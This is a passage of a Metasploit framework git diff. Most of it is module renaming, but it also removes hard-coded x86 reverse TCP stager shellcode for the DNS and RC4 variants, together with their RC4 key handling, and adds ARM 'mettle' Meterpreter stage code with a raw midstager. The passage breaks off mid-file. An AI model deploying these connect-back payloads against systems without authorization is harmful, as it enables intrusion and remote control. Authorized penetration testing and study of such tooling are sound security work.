8fe18aabd6..dd41230c11 100644 --- a/modules/payloads/stagers/windows/reverse_tcp.rb +++ b/modules/payloads/stagers/windows/reverse_tcp.rb @@ -8,7 +8,7 @@ require 'msf/core' require 'msf/core/handler/reverse_tcp' require 'msf/core/payload/windows/reverse_tcp' -module Metasploit4 +module MetasploitModule CachedSize = 281 diff --git a/modules/payloads/stagers/windows/reverse_tcp_allports.rb b/modules/payloads/stagers/windows/reverse_tcp_allports.rb index 27ce0529fa..8a4c884b09 100644 --- a/modules/payloads/stagers/windows/reverse_tcp_allports.rb +++ b/modules/payloads/stagers/windows/reverse_tcp_allports.rb @@ -8,7 +8,7 @@ require 'msf/core' require 'msf/core/handler/reverse_tcp_allports' -module Metasploit3 +module MetasploitModule CachedSize = 282 diff --git a/modules/payloads/stagers/windows/reverse_tcp_dns.rb b/modules/payloads/stagers/windows/reverse_tcp_dns.rb index 2f8af0662e..92cf8c16ec 100644 --- a/modules/payloads/stagers/windows/reverse_tcp_dns.rb +++ b/modules/payloads/stagers/windows/reverse_tcp_dns.rb @@ -6,14 +6,14 @@ require 'msf/core' require 'msf/core/handler/reverse_tcp' +require 'msf/core/payload/windows/reverse_tcp_dns' +module MetasploitModule -module Metasploit3 - - CachedSize = 356 + CachedSize = 308 include Msf::Payload::Stager - include Msf::Payload::Windows + include Msf::Payload::Windows::ReverseTcpDns def self.handler_type_alias "reverse_tcp_dns" @@ -23,61 +23,16 @@ module Metasploit3 super(merge_info(info, 'Name' => 'Reverse TCP Stager (DNS)', 'Description' => 'Connect back to the attacker', - 'Author' => ['hdm', 'skape', 'sf'], + 'Author' => ['hdm', 'skape', 'sf', 'RageLtMan'], 'License' => MSF_LICENSE, 'Platform' => 'win', 'Arch' => ARCH_X86, 'Handler' => Msf::Handler::ReverseTcp, 'Convention' => 'sockedi', 'Stager' => - { - 'RequiresMidstager' => false, - 'Offsets' => { - # ExitFunk Offset: 297 - 'LPORT' => [ 272, 'n' ], - 'ReverseConnectRetries' => [ 267, 'C'] - }, - 'Payload' => - "\xFC\xE8\x82\x00\x00\x00\x60\x89\xE5\x31\xC0\x64\x8B\x50\x30\x8B" + - "\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F\xB7\x4A\x26\x31\xFF\xAC\x3C" + - "\x61\x7C\x02\x2C\x20\xC1\xCF\x0D\x01\xC7\xE2\xF2\x52\x57\x8B\x52" + - "\x10\x8B\x4A\x3C\x8B\x4C\x11\x78\xE3\x48\x01\xD1\x51\x8B\x59\x20" + - "\x01\xD3\x8B\x49\x18\xE3\x3A\x49\x8B\x34\x8B\x01\xD6\x31\xFF\xAC" + - "\xC1\xCF\x0D\x01\xC7\x38\xE0\x75\xF6\x03\x7D\xF8\x3B\x7D\x24\x75" + - "\xE4\x58\x8B\x58\x24\x01\xD3\x66\x8B\x0C\x4B\x8B\x58\x1C\x01\xD3" + - "\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24\x5B\x5B\x61\x59\x5A\x51\xFF" + - "\xE0\x5F\x5F\x5A\x8B\x12\xEB\x8D\x5D\x68\x33\x32\x00\x00\x68\x77" + - "\x73\x32\x5F\x54\x68\x4C\x77\x26\x07\xFF\xD5\xB8\x90\x01\x00\x00" + - "\x29\xC4\x54\x50\x68\x29\x80\x6B\x00\xFF\xD5\x50\x50\x50\x50\x40" + - "\x50\x40\x50\x68\xEA\x0F\xDF\xE0\xFF\xD5\x97\xE8\x40\x00\x00\x00" + - "\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58" + - "\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58" + - "\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58" + - "\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x00" + - "\x68\xA9\x28\x34\x80\xFF\xD5\x8B\x40\x1C\x6A\x05\x50\x68\x02\x00" + - "\x11\x5C\x89\xE6\x6A\x10\x56\x57\x68\x99\xA5\x74\x61\xFF\xD5\x85" + - "\xC0\x74\x0C\xFF\x4E\x08\x75\xEC\x68\xF0\xB5\xA2\x56\xFF\xD5\x6A" + - "\x00\x6A\x04\x56\x57\x68\x02\xD9\xC8\x5F\xFF\xD5\x8B\x36\x6A\x40" + - "\x68\x00\x10\x00\x00\x56\x6A\x00\x68\x58\xA4\x53\xE5\xFF\xD5\x93" + - "\x53\x6A\x00\x56\x53\x57\x68\x02\xD9\xC8\x5F\xFF\xD5\x01\xC3\x29" + - "\xC6\x75\xEE\xC3" - } + { 'RequiresMidstager' => false } )) - # Overload LHOST as a String value for the hostname - register_options([ - OptString.new("LHOST", [true, "The DNS hostname to connect back to"]) - ], self.class) - end - - def generate - p = super - - i = p.index("X" * 63) - u = datastore['LHOST'].to_s + "\x00" - raise ArgumentError, "LHOST can be 63 bytes long at the most" if u.length > 64 - p[i, u.length] = u - p end end diff --git a/modules/payloads/stagers/windows/reverse_tcp_rc4.rb b/modules/payloads/stagers/windows/reverse_tcp_rc4.rb index 6374045fac..f70b42e62e 100644 --- a/modules/payloads/stagers/windows/reverse_tcp_rc4.rb +++ b/modules/payloads/stagers/windows/reverse_tcp_rc4.rb @@ -7,14 +7,15 @@ require 'msf/core' require 'msf/core/handler/reverse_tcp' +require 'msf/core/payload/windows/reverse_tcp_rc4' -module Metasploit3 +module MetasploitModule - CachedSize = 394 + CachedSize = 398 include Msf::Payload::Stager - include Msf::Payload::Windows + include Msf::Payload::Windows::ReverseTcpRc4 def self.handler_type_alias "reverse_tcp_rc4" @@ -22,90 +23,16 @@ module Metasploit3 def initialize(info = {}) super(merge_info(info, - 'Name' => 'Reverse TCP Stager (RC4 Stage Encryption)', + 'Name' => 'Reverse TCP Stager (RC4 Stage Encryption, Metasm)', 'Description' => 'Connect back to the attacker', - 'Author' => ['hdm', 'skape', 'sf', 'mihi'], + 'Author' => ['hdm', 'skape', 'sf', 'mihi', 'RageLtMan'], 'License' => MSF_LICENSE, 'Platform' => 'win', 'Arch' => ARCH_X86, 'Handler' => Msf::Handler::ReverseTcp, 'Convention' => 'sockedi', - 'Stager' => - { - 'RequiresMidstager' => false, - 'Offsets' => - { - 'LHOST' => [ 190, 'ADDR' ], - 'LPORT' => [ 197, 'n' ], - 'ReverseConnectRetries' => [ 188, 'C'], - 'XORKey' => [ 245, '' ], - 'RC4Key' => [ 307, '' ], - }, - 'Payload' => - "\xFC\xE8\x82\x00\x00\x00\x60\x89\xE5\x31\xC0\x64\x8B\x50\x30\x8B" + - "\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F\xB7\x4A\x26\x31\xFF\xAC\x3C" + - "\x61\x7C\x02\x2C\x20\xC1\xCF\x0D\x01\xC7\xE2\xF2\x52\x57\x8B\x52" + - "\x10\x8B\x4A\x3C\x8B\x4C\x11\x78\xE3\x48\x01\xD1\x51\x8B\x59\x20" + - "\x01\xD3\x8B\x49\x18\xE3\x3A\x49\x8B\x34\x8B\x01\xD6\x31\xFF\xAC" + - "\xC1\xCF\x0D\x01\xC7\x38\xE0\x75\xF6\x03\x7D\xF8\x3B\x7D\x24\x75" + - "\xE4\x58\x8B\x58\x24\x01\xD3\x66\x8B\x0C\x4B\x8B\x58\x1C\x01\xD3" + - "\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24\x5B\x5B\x61\x59\x5A\x51\xFF" + - "\xE0\x5F\x5F\x5A\x8B\x12\xEB\x8D\x5D\x68\x33\x32\x00\x00\x68\x77" + - "\x73\x32\x5F\x54\x68\x4C\x77\x26\x07\xFF\xD5\xB8\x90\x01\x00\x00" + - "\x29\xC4\x54\x50\x68\x29\x80\x6B\x00\xFF\xD5\x50\x50\x50\x50\x40" + - "\x50\x40\x50\x68\xEA\x0F\xDF\xE0\xFF\xD5\x97\x6A\x05\x68\x7F\x00" + - "\x00\x01\x68\x02\x00\x11\x5C\x89\xE6\x6A\x10\x56\x57\x68\x99\xA5" + - "\x74\x61\xFF\xD5\x85\xC0\x74\x0C\xFF\x4E\x08\x75\xEC\x68\xF0\xB5" + - "\xA2\x56\xFF\xD5\x6A\x00\x6A\x04\x56\x57\x68\x02\xD9\xC8\x5F\xFF" + - "\xD5\x8B\x36\x81\xF6\x58\x4F\x52\x4B\x8D\x0E\x6A\x40\x68\x00\x10" + - "\x00\x00\x51\x6A\x00\x68\x58\xA4\x53\xE5\xFF\xD5\x8D\x98\x00\x01" + - "\x00\x00\x53\x56\x50\x6A\x00\x56\x53\x57\x68\x02\xD9\xC8\x5F\xFF" + - "\xD5\x01\xC3\x29\xC6\x75\xEE\x5B\x59\x5D\x55\x57\x89\xDF\xE8\x10" + - "\x00\x00\x00\x52\x43\x34\x4B\x65\x79\x4D\x65\x74\x61\x73\x70\x6C" + - "\x6F\x69\x74\x5E\x31\xC0\xAA\xFE\xC0\x75\xFB\x81\xEF\x00\x01\x00" + - "\x00\x31\xDB\x02\x1C\x07\x89\xC2\x80\xE2\x0F\x02\x1C\x16\x8A\x14" + - "\x07\x86\x14\x1F\x88\x14\x07\xFE\xC0\x75\xE8\x31\xDB\xFE\xC0\x02" + - "\x1C\x07\x8A\x14\x07\x86\x14\x1F\x88\x14\x07\x02\x14\x1F\x8A\x14" + - "\x17\x30\x55\x00\x45\x49\x75\xE5\x5F\xC3" - } + 'Stager' => { 'RequiresMidstager' => false } )) - - register_options([ - OptString.new("RC4PASSWORD", [true, "Password to derive RC4 key from"]) - ], self.class) end - def generate_stage(opts={}) - p = super(opts) - m = OpenSSL::Digest.new('sha1') - m.reset - key = m.digest(datastore["RC4PASSWORD"] || "") - c1 = OpenSSL::Cipher::Cipher.new('RC4') - c1.decrypt - c1.key=key[4,16] - p = c1.update(p) - return [ p.length ^ key[0,4].unpack('V')[0] ].pack('V') + p - end - - def internal_generate - p = super - m = OpenSSL::Digest.new('sha1') - m.reset - key = m.digest(datastore["RC4PASSWORD"] || "") - p[offsets['XORKey'][0], 4] = key[0,4] - p[offsets['RC4Key'][0], 16] = key[4,16] - return p - end - - def replace_var(raw, name, offset, pack) - if (name == 'XORKey' or name == 'RC4Key') - #will be replaced by internal_generate - return true - end - super - end - - def handle_intermediate_stage(conn, payload) - return false - end end diff --git a/modules/payloads/stagers/windows/reverse_tcp_rc4_dns.rb b/modules/payloads/stagers/windows/reverse_tcp_rc4_dns.rb index 24d29b7e81..ffa71b20f5 100644 --- a/modules/payloads/stagers/windows/reverse_tcp_rc4_dns.rb +++ b/modules/payloads/stagers/windows/reverse_tcp_rc4_dns.rb @@ -7,14 +7,14 @@ require 'msf/core' require 'msf/core/handler/reverse_tcp' +require 'msf/core/payload/windows/reverse_tcp_rc4_dns' +module MetasploitModule -module Metasploit3 - - CachedSize = 469 + CachedSize = 425 include Msf::Payload::Stager - include Msf::Payload::Windows + include Msf::Payload::Windows::ReverseTcpRc4Dns def self.handler_type_alias "reverse_tcp_rc4_dns" @@ -22,7 +22,7 @@ module Metasploit3 def initialize(info = {}) super(merge_info(info, - 'Name' => 'Reverse TCP Stager (RC4 Stage Encryption DNS)', + 'Name' => 'Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)', 'Description' => 'Connect back to the attacker', 'Author' => ['hdm', 'skape', 'sf', 'mihi', 'RageLtMan'], 'License' => MSF_LICENSE, @@ -31,95 +31,8 @@ module Metasploit3 'Handler' => Msf::Handler::ReverseTcp, 'Convention' => 'sockedi', 'Stager' => - { - 'RequiresMidstager' => false, - 'Offsets' => - { - # ExitFunk Offset: 297 - 'HostName' => [ 192, '' ], - 'LPORT' => [ 272, 'n' ], - 'ReverseConnectRetries' => [ 267, 'C'], - 'XORKey' => [ 320, '' ], - 'RC4Key' => [ 382, '' ] - }, - 'Payload' => - "\xFC\xE8\x82\x00\x00\x00\x60\x89\xE5\x31\xC0\x64\x8B\x50\x30\x8B" + - "\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F\xB7\x4A\x26\x31\xFF\xAC\x3C" + - "\x61\x7C\x02\x2C\x20\xC1\xCF\x0D\x01\xC7\xE2\xF2\x52\x57\x8B\x52" + - "\x10\x8B\x4A\x3C\x8B\x4C\x11\x78\xE3\x48\x01\xD1\x51\x8B\x59\x20" + - "\x01\xD3\x8B\x49\x18\xE3\x3A\x49\x8B\x34\x8B\x01\xD6\x31\xFF\xAC" + - "\xC1\xCF\x0D\x01\xC7\x38\xE0\x75\xF6\x03\x7D\xF8\x3B\x7D\x24\x75" + - "\xE4\x58\x8B\x58\x24\x01\xD3\x66\x8B\x0C\x4B\x8B\x58\x1C\x01\xD3" + - "\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24\x5B\x5B\x61\x59\x5A\x51\xFF" + - "\xE0\x5F\x5F\x5A\x8B\x12\xEB\x8D\x5D\x68\x33\x32\x00\x00\x68\x77" + - "\x73\x32\x5F\x54\x68\x4C\x77\x26\x07\xFF\xD5\xB8\x90\x01\x00\x00" + - "\x29\xC4\x54\x50\x68\x29\x80\x6B\x00\xFF\xD5\x50\x50\x50\x50\x40" + - "\x50\x40\x50\x68\xEA\x0F\xDF\xE0\xFF\xD5\x97\xE8\x40\x00\x00\x00" + - "\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58" + - "\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58" + - "\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58" + - "\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x00" + - "\x68\xA9\x28\x34\x80\xFF\xD5\x8B\x40\x1C\x6A\x05\x50\x68\x02\x00" + - "\x11\x5C\x89\xE6\x6A\x10\x56\x57\x68\x99\xA5\x74\x61\xFF\xD5\x85" + - "\xC0\x74\x0C\xFF\x4E\x08\x75\xEC\x68\xF0\xB5\xA2\x56\xFF\xD5\x6A" + - "\x00\x6A\x04\x56\x57\x68\x02\xD9\xC8\x5F\xFF\xD5\x8B\x36\x81\xF6" + - "\x58\x4F\x52\x4B\x8D\x0E\x6A\x40\x68\x00\x10\x00\x00\x51\x6A\x00" + - "\x68\x58\xA4\x53\xE5\xFF\xD5\x8D\x98\x00\x01\x00\x00\x53\x56\x50" + - "\x6A\x00\x56\x53\x57\x68\x02\xD9\xC8\x5F\xFF\xD5\x01\xC3\x29\xC6" + - "\x75\xEE\x5B\x59\x5D\x55\x57\x89\xDF\xE8\x10\x00\x00\x00\x52\x43" + - "\x34\x4B\x65\x79\x4D\x65\x74\x61\x73\x70\x6C\x6F\x69\x74\x5E\x31" + - "\xC0\xAA\xFE\xC0\x75\xFB\x81\xEF\x00\x01\x00\x00\x31\xDB\x02\x1C" + - "\x07\x89\xC2\x80\xE2\x0F\x02\x1C\x16\x8A\x14\x07\x86\x14\x1F\x88" + - "\x14\x07\xFE\xC0\x75\xE8\x31\xDB\xFE\xC0\x02\x1C\x07\x8A\x14\x07" + - "\x86\x14\x1F\x88\x14\x07\x02\x14\x1F\x8A\x14\x17\x30\x55\x00\x45" + - "\x49\x75\xE5\x5F\xC3" - } + { 'RequiresMidstager' => false } )) - - register_options([ - OptString.new("RC4PASSWORD", [true, "Password to derive RC4 key from"]), - # Overload LHOST as a String value for the hostname - OptString.new("LHOST", [true, "The DNS hostname to connect back to"]) - ], self.class) end - def generate_stage(opts={}) - p = super(opts) - m = OpenSSL::Digest.new('sha1') - m.reset - key = m.digest(datastore["RC4PASSWORD"] || "") - c1 = OpenSSL::Cipher::Cipher.new('RC4') - c1.decrypt - c1.key=key[4,16] - p = c1.update(p) - return [ p.length ^ key[0,4].unpack('V')[0] ].pack('V') + p - end - - def internal_generate - p = super - # Write keys into stage - m = OpenSSL::Digest.new('sha1') - m.reset - key = m.digest(datastore["RC4PASSWORD"] || "") - p[offsets['XORKey'][0], 4] = key[0,4] - p[offsets['RC4Key'][0], 16] = key[4,16] - # Replace 'X'*63 with hostname - u = datastore['LHOST'].to_s + "\x00" - raise ArgumentError, "LHOST can be 63 bytes long at the most" if u.length > 64 - p[offsets['HostName'][0], u.length] = u - return p - end - - def replace_var(raw, name, offset, pack) - our_vars = %w{XORKey RC4Key HostName} - if our_vars.any? { |v| v == name } - # Will be replaced by internal_generate - return true - end - super - end - - def handle_intermediate_stage(conn, payload) - return false - end end diff --git a/modules/payloads/stagers/windows/reverse_tcp_uuid.rb b/modules/payloads/stagers/windows/reverse_tcp_uuid.rb index c77c5d056a..b4895a83e6 100644 --- a/modules/payloads/stagers/windows/reverse_tcp_uuid.rb +++ b/modules/payloads/stagers/windows/reverse_tcp_uuid.rb @@ -8,7 +8,7 @@ require 'msf/core' require 'msf/core/handler/reverse_tcp' require 'msf/core/payload/windows/reverse_tcp' -module Metasploit4 +module MetasploitModule CachedSize = 314 diff --git a/modules/payloads/stagers/windows/reverse_winhttp.rb b/modules/payloads/stagers/windows/reverse_winhttp.rb index 874c43ba8e..134cac75ad 100644 --- a/modules/payloads/stagers/windows/reverse_winhttp.rb +++ b/modules/payloads/stagers/windows/reverse_winhttp.rb @@ -7,7 +7,7 @@ require 'msf/core' require 'msf/core/handler/reverse_http' require 'msf/core/payload/windows/reverse_winhttp' -module Metasploit4 +module MetasploitModule CachedSize = 357 diff --git a/modules/payloads/stagers/windows/reverse_winhttps.rb b/modules/payloads/stagers/windows/reverse_winhttps.rb index 2fc30a16ae..6008bb28d2 100644 --- a/modules/payloads/stagers/windows/reverse_winhttps.rb +++ b/modules/payloads/stagers/windows/reverse_winhttps.rb @@ -7,7 +7,7 @@ require 'msf/core' require 'msf/core/handler/reverse_https' require 'msf/core/payload/windows/reverse_winhttps' -module Metasploit4 +module MetasploitModule CachedSize = 377 diff --git a/modules/payloads/stagers/windows/x64/bind_ipv6_tcp.rb b/modules/payloads/stagers/windows/x64/bind_ipv6_tcp.rb index 58fc21b52a..e1d78ea07e 100644 --- a/modules/payloads/stagers/windows/x64/bind_ipv6_tcp.rb +++ b/modules/payloads/stagers/windows/x64/bind_ipv6_tcp.rb @@ -7,7 +7,7 @@ require 'msf/core' require 'msf/core/handler/bind_tcp' require 'msf/core/payload/windows/x64/bind_tcp' -module Metasploit4 +module MetasploitModule CachedSize = 485 diff --git a/modules/payloads/stagers/windows/x64/bind_ipv6_tcp_uuid.rb b/modules/payloads/stagers/windows/x64/bind_ipv6_tcp_uuid.rb index b0db550f7a..d1904d511f 100644 --- a/modules/payloads/stagers/windows/x64/bind_ipv6_tcp_uuid.rb +++ b/modules/payloads/stagers/windows/x64/bind_ipv6_tcp_uuid.rb @@ -7,7 +7,7 @@ require 'msf/core' require 'msf/core/handler/bind_tcp' require 'msf/core/payload/windows/x64/bind_tcp' -module Metasploit4 +module MetasploitModule CachedSize = 526 diff --git a/modules/payloads/stagers/windows/x64/bind_tcp.rb b/modules/payloads/stagers/windows/x64/bind_tcp.rb index 138a5ec914..82e0c9be24 100644 --- a/modules/payloads/stagers/windows/x64/bind_tcp.rb +++ b/modules/payloads/stagers/windows/x64/bind_tcp.rb @@ -7,7 +7,7 @@ require 'msf/core' require 'msf/core/handler/bind_tcp' require 'msf/core/payload/windows/x64/bind_tcp' -module Metasploit4 +module MetasploitModule CachedSize = 483 diff --git a/modules/payloads/stagers/windows/x64/bind_tcp_uuid.rb b/modules/payloads/stagers/windows/x64/bind_tcp_uuid.rb index 03d791ba5f..835504e1a2 100644 --- a/modules/payloads/stagers/windows/x64/bind_tcp_uuid.rb +++ b/modules/payloads/stagers/windows/x64/bind_tcp_uuid.rb @@ -7,7 +7,7 @@ require 'msf/core' require 'msf/core/handler/bind_tcp' require 'msf/core/payload/windows/x64/bind_tcp' -module Metasploit4 +module MetasploitModule CachedSize = 524 diff --git a/modules/payloads/stagers/windows/x64/reverse_http.rb b/modules/payloads/stagers/windows/x64/reverse_http.rb index 4ae5af6697..4f6e40d6a5 100644 --- a/modules/payloads/stagers/windows/x64/reverse_http.rb +++ b/modules/payloads/stagers/windows/x64/reverse_http.rb @@ -7,7 +7,7 @@ require 'msf/core' require 'msf/core/handler/reverse_http' require 'msf/core/payload/windows/x64/reverse_http' -module Metasploit4 +module MetasploitModule CachedSize = 501 diff --git a/modules/payloads/stagers/windows/x64/reverse_https.rb b/modules/payloads/stagers/windows/x64/reverse_https.rb index 8e5a2fc1f5..a551986762 100644 --- a/modules/payloads/stagers/windows/x64/reverse_https.rb +++ b/modules/payloads/stagers/windows/x64/reverse_https.rb @@ -7,7 +7,7 @@ require 'msf/core' require 'msf/core/handler/reverse_https' require 'msf/core/payload/windows/x64/reverse_https' -module Metasploit4 +module MetasploitModule CachedSize = 532 diff --git a/modules/payloads/stagers/windows/x64/reverse_tcp.rb b/modules/payloads/stagers/windows/x64/reverse_tcp.rb index e2c271e2ed..ce2cee737e 100644 --- a/modules/payloads/stagers/windows/x64/reverse_tcp.rb +++ b/modules/payloads/stagers/windows/x64/reverse_tcp.rb @@ -7,7 +7,7 @@ require 'msf/core' require 'msf/core/handler/reverse_tcp' require 'msf/core/payload/windows/x64/reverse_tcp' -module Metasploit4 +module MetasploitModule CachedSize = 449 diff --git a/modules/payloads/stagers/windows/x64/reverse_tcp_uuid.rb b/modules/payloads/stagers/windows/x64/reverse_tcp_uuid.rb index 9556fca229..48f58ea558 100644 --- a/modules/payloads/stagers/windows/x64/reverse_tcp_uuid.rb +++ b/modules/payloads/stagers/windows/x64/reverse_tcp_uuid.rb @@ -7,7 +7,7 @@ require 'msf/core' require 'msf/core/handler/reverse_tcp' require 'msf/core/payload/windows/x64/reverse_tcp' -module Metasploit4 +module MetasploitModule CachedSize = 490 diff --git a/modules/payloads/stagers/windows/x64/reverse_winhttp.rb b/modules/payloads/stagers/windows/x64/reverse_winhttp.rb index d87820e334..a0d5afab18 100644 --- a/modules/payloads/stagers/windows/x64/reverse_winhttp.rb +++ b/modules/payloads/stagers/windows/x64/reverse_winhttp.rb @@ -7,7 +7,7 @@ require 'msf/core' require 'msf/core/handler/reverse_http' require 'msf/core/payload/windows/x64/reverse_winhttp' -module Metasploit4 +module MetasploitModule CachedSize = 532 diff --git a/modules/payloads/stagers/windows/x64/reverse_winhttps.rb b/modules/payloads/stagers/windows/x64/reverse_winhttps.rb index 03c844f58b..26d441fcba 100644 --- a/modules/payloads/stagers/windows/x64/reverse_winhttps.rb +++ b/modules/payloads/stagers/windows/x64/reverse_winhttps.rb @@ -7,7 +7,7 @@ require 'msf/core' require 'msf/core/handler/reverse_https' require 'msf/core/payload/windows/x64/reverse_winhttps' -module Metasploit4 +module MetasploitModule CachedSize = 563 diff --git a/modules/payloads/stages/android/meterpreter.rb b/modules/payloads/stages/android/meterpreter.rb index fe89735e12..38ca566e8d 100644 --- a/modules/payloads/stages/android/meterpreter.rb +++ b/modules/payloads/stages/android/meterpreter.rb @@ -4,12 +4,12 @@ ## require 'msf/core' -require 'msf/core/payload/dalvik' +require 'msf/core/payload/android' require 'msf/base/sessions/meterpreter_android' require 'msf/base/sessions/meterpreter_options' require 'rex/payloads/meterpreter/config' -module Metasploit4 +module MetasploitModule include Msf::Sessions::MeterpreterOptions @@ -30,7 +30,7 @@ module Metasploit4 end # - # Override the Payload::Dalvik version so we can load a prebuilt jar to be + # Override the Payload::Android version so we can load a prebuilt jar to be # used as the final stage # def generate_stage(opts={}) diff --git a/modules/payloads/stages/android/shell.rb b/modules/payloads/stages/android/shell.rb index 5b68d4b419..bea2d71764 100644 --- a/modules/payloads/stages/android/shell.rb +++ b/modules/payloads/stages/android/shell.rb @@ -4,13 +4,13 @@ ## require 'msf/core' -require 'msf/core/payload/dalvik' +require 'msf/core/payload/android' require 'msf/core/handler/reverse_tcp' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' -module Metasploit3 +module MetasploitModule # The stager should have already included this #include Msf::Payload::Java @@ -31,7 +31,7 @@ module Metasploit3 end # - # Override the {Payload::Dalvik} version so we can load a prebuilt jar + # Override the {Payload::Android} version so we can load a prebuilt jar # to be used as the final stage # def generate_stage(opts={}) diff --git a/modules/payloads/stages/bsd/x86/shell.rb b/modules/payloads/stages/bsd/x86/shell.rb index 5c7f5d9337..ef5ae90f85 100644 --- a/modules/payloads/stages/bsd/x86/shell.rb +++ b/modules/payloads/stages/bsd/x86/shell.rb @@ -7,7 +7,7 @@ require 'msf/core' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' -module Metasploit3 +module MetasploitModule include Msf::Sessions::CommandShellOptions diff --git a/modules/payloads/stages/bsdi/x86/shell.rb b/modules/payloads/stages/bsdi/x86/shell.rb index 1d18809993..1d0f00bfcb 100644 --- a/modules/payloads/stages/bsdi/x86/shell.rb +++ b/modules/payloads/stages/bsdi/x86/shell.rb @@ -7,7 +7,7 @@ require 'msf/core' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' -module Metasploit3 +module MetasploitModule include Msf::Sessions::CommandShellOptions diff --git a/modules/payloads/stages/java/meterpreter.rb b/modules/payloads/stages/java/meterpreter.rb index f0e666349d..050f5ad0c4 100644 --- a/modules/payloads/stages/java/meterpreter.rb +++ b/modules/payloads/stages/java/meterpreter.rb @@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_java' require 'msf/base/sessions/meterpreter_options' -module Metasploit4 +module MetasploitModule include Msf::Sessions::MeterpreterOptions diff --git a/modules/payloads/stages/java/shell.rb b/modules/payloads/stages/java/shell.rb index 16b71199e7..a5803f978a 100644 --- a/modules/payloads/stages/java/shell.rb +++ b/modules/payloads/stages/java/shell.rb @@ -10,7 +10,7 @@ require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' -module Metasploit3 +module MetasploitModule # The stager should have already included this #include Msf::Payload::Java diff --git a/modules/payloads/stages/linux/armle/mettle.rb b/modules/payloads/stages/linux/armle/mettle.rb new file mode 100644 index 0000000000..89792efc77 --- /dev/null +++ b/modules/payloads/stages/linux/armle/mettle.rb @@ -0,0 +1,85 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'msf/base/sessions/meterpreter_armle_linux' +require 'msf/base/sessions/meterpreter_options' +require 'rex/elfparsey' + +module MetasploitModule + include Msf::Sessions::MeterpreterOptions + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Linux Meterpreter', + 'Description' => 'Inject the mettle server payload (staged)', + 'Author' => [ + 'Adam Cammack ' + ], + 'Platform' => 'linux', + 'Arch' => ARCH_ARMLE, + 'License' => MSF_LICENSE, + 'Session' => Msf::Sessions::Meterpreter_armle_Linux + ) + ) + end + + def elf_ep(payload) + elf = Rex::ElfParsey::Elf.new(Rex::ImageSource::Memory.new(payload)) + elf.elf_header.e_entry + end + + def handle_intermediate_stage(conn, payload) + entry_offset = elf_ep(payload) + + # Generated from external/source/shellcode/linux/armle/stage_mettle.s + midstager = [ + 0xe3a00000, # mov r0, #0 + 0xe59f1070, # ldr r1, [pc, #112] ; 0x100d0 + 0xe3a02007, # mov r2, #7 + 0xe3a03022, # mov r3, #34 ; 0x22 + 0xe3a04000, # mov r4, #0 + 0xe3a05000, # mov r5, #0 + 0xe3a070c0, # mov r7, #192 ; 0xc0 + 0xef000000, # svc 0x00000000 + 0xe1a02001, # mov r2, r1 + 0xe1a01000, # mov r1, r0 + 0xe1a0000c, # mov r0, ip + 0xe3a03c01, # mov r3, #256 ; 0x100 + 0xe59f7048, # ldr r7, [pc, #72] ; 0x100d4 + 0xef000000, # svc 0x00000000 + 0xe3cdd00f, # bic sp, sp, #15 + 0xe28dd028, # add sp, sp, #40 ; 0x28 + 0xe3a0406d, # mov r4, #109 ; 0x6d + 0xe52d4004, # push {r4} ; (str r4, [sp, #-4]!) + 0xe3a04002, # mov r4, #2 + 0xe1a0500d, # mov r5, sp + 0xe1a0600c, # mov r6, ip + 0xe3a07000, # mov r7, #0 + 0xe3a08000, # mov r8, #0 + 0xe3a09007, # mov r9, #7 + 0xe1a0a001, # mov sl, r1 + 0xe3a0b000, # mov fp, #0 + 0xe3a0c000, # mov ip, #0 + 0xe92d1ff0, # push {r4, r5, r6, r7, r8, r9, sl, fp, ip} + 0xe59f000c, # ldr r0, [pc, #12] ; 0x100d8 + 0xe0800001, # add r0, r0, r1 + 0xe12fff10, # bx r0 + payload.length, + 0x00000123, # .word + entry_offset + ].pack('V*') + + vprint_status("Transmitting intermediate stager...(#{midstager.length} bytes)") + conn.put([midstager.length].pack('V')) + conn.put(midstager) == midstager.length + end + + def generate_stage(_opts = {}) + MetasploitPayloads::Mettle.read('armv5l-linux-musleabi', 'mettle.bin') + end +end diff --git a/modules/payloads/stages/linux/armle/shell.rb b/modules/payloads/stages/linux/armle/shell.rb index d53f725bb0..feffd67cfd 100644 --- a/modules/payloads/stages/linux/armle/shell.rb +++ b/modules/payloads/stages/linux/armle/shell.rb @@ -7,7 +7,7 @@ require 'msf/core' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' -module Metasploit3 +module MetasploitModule include Msf::Sessions::CommandShellOptions diff --git a/modules/payloads/stages/linux/mipsbe/mettle.rb b/modules/payloads/stages/linux/mipsbe/mettle.rb new file mode 100644 index 0000000000..a8e44b2ec3 --- /dev/null +++ b/modules/payloads/stages/linux/mipsbe/mettle.rb @@ -0,0 +1,96 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'msf/base/sessions/meterpreter_mipsbe_linux' +require 'msf/base/sessions/meterpreter_options' +require 'rex/elfparsey' + +module MetasploitModule + include Msf::Sessions::MeterpreterOptions + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Linux Meterpreter', + 'Description' => 